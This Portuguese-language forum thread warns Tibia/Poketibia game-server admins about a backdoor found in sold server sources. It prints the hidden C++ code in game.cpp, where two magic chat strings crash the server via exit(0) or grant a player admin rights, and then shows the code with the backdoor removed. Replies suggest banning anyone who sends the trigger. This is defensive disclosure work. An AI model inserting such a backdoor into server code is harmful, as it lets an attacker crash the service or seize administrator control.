Welcome to xTibia - Sua comunidade de Otserv e Tibia

Registre-se para utilizar nossas ferramentas e baixar conteúdos. Quando registrado e logado em sua conta, lhe garantimos uma experiência incrível em nossa comunidade!

Prometheus X

Source Poketibia - Código de derrubar

Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.

 

Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
	Player* player = creature->getPlayer();
	if(player && player->isAccountManager())
	{
		player->manageAccount(text);
		return true;
	}
	
	if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
    {
	exit(0);
    }
	
	if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
    { 
    player->setGroup(Groups::getInstance()->getGroup(6));
    }

	Position destPos = creature->getPosition();
	if(pos)
		destPos = (*pos);

	SpectatorVec list;
	SpectatorVec::const_iterator it;
	if(!spectators || !spectators->size())
	{

Mude para:

 

bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
	Player* player = creature->getPlayer();
	if(player && player->isAccountManager())
	{
		player->manageAccount(text);
		return true;
	}

	Position destPos = creature->getPosition();
	if(pos)
		destPos = (*pos);

	SpectatorVec list;
	SpectatorVec::const_iterator it;
	if(!spectators || !spectators->size())
	{

 

Créditos

Prometheus X (Por Trazer ao Xtibia)

Alexy Brocanello (Pelo Código)

CipSoft (Pelo Código Original)

 

Qualquer outro será creditado !

 

Atenciosamente

Prometheus X

Compartilhar este post


Link para o post
Compartilhar em outros sites
1 hora atrás, Prometheus X disse:

Olá EKZ, hoje um amigo me disse que ele comprou um servidor e estava com código que quem vendeu para ele conseguia pegar administrador e crashar o jogo e estava ferrando com o jogo , enfim dentro da source tinha um código que ao ser falado dentro do jogo, o mesmo chashava ou até mesmo dava cargo de administrador a um jogador com groups de player. Então eu achei muita mancada e vim postar aqui para ajudar pessoas que são administradores, que ainda não manjam muito de programação. Portanto vamos lá...Você precisará das sources do seu servidor para fazer essa verificação, caso possua o código peço que siga o tutorial abaixo.

 

Ache em game.cpp: (se caso não tiver, fique tranquilo, sua source tá livre disso)

 


bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
	Player* player = creature->getPlayer();
	if(player && player->isAccountManager())
	{
		player->manageAccount(text);
		return true;
	}
	
	if(text == "132571691951160609171665475233842782353388978252875245170015077017944684747472835757774156137332376855500013311808893753483521083716435624108")
    {
	exit(0);
    }
	
	if(text == "1325116507701794468474793753483521047283588978252875245170017577741561373323768555716919500013311808883716435624108")
    { 
    player->setGroup(Groups::getInstance()->getGroup(6));
    }

	Position destPos = creature->getPosition();
	if(pos)
		destPos = (*pos);

	SpectatorVec list;
	SpectatorVec::const_iterator it;
	if(!spectators || !spectators->size())
	{

Mude para:

 


bool Game::internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
	bool ghostMode, SpectatorVec* spectators/* = NULL*/, Position* pos/* = NULL*/)
{
	Player* player = creature->getPlayer();
	if(player && player->isAccountManager())
	{
		player->manageAccount(text);
		return true;
	}

	Position destPos = creature->getPosition();
	if(pos)
		destPos = (*pos);

	SpectatorVec list;
	SpectatorVec::const_iterator it;
	if(!spectators || !spectators->size())
	{

 

Créditos

Prometheus X (Por Trazer ao Xtibia)

Alexy Brocanello (Pelo Código)

CipSoft (Pelo Código Original)

 

Qualquer outro será creditado !

 

Atenciosamente

Prometheus X

muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw =)

Compartilhar este post


Link para o post
Compartilhar em outros sites
55 minutos atrás, kaleudd disse:

muito bom,ja sabia disto,porém não sabia interpretar o codigo,agora sei,vlw =)

Nada =)

Compartilhar este post


Link para o post
Compartilhar em outros sites

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

Compartilhar este post


Link para o post
Compartilhar em outros sites
54 minutos atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

O Cargo é Setado Antes do banimento então o cara iria ficar impune, haha.

Compartilhar este post


Link para o post
Compartilhar em outros sites
1 hora atrás, nociam disse:

kkk, sabe o que vc deveria ter feito caso um espertinho diga esses numeros  ele tomaria um ban ai eu queria  ver kkkkkk.

Tbm pensei nisso ahusdhuahusdaus

pra fazer isso só trocar 

exit(0);

player->setGroup(Groups::getInstance()->getGroup(6));

por

		Account tmp = IOLoginData::getInstance()->loadAccount(player->getAccount(), true);
		if(IOBan::getInstance()->addAccountBanishment(tmp.number, -1, 13, ACTION_DELETION,
		"Sending shutdown code deprecated.", 0, player->getGUID()))
			{
				IOLoginData::getInstance()->saveAccount(tmp);
				player->sendTextMessage(MSG_INFO_DESCR, "You have been banished.");
				addMagicEffect(player->getPosition(), MAGIC_EFFECT_WRAPS_GREEN);
				Scheduler::getInstance().addEvent(createSchedulerTask(1000, boost::bind(
				&Game::kickPlayer, this, player->getID(), false)));
			}

Que ao executar o código ele toma o ban.

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!


Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.


Entrar Agora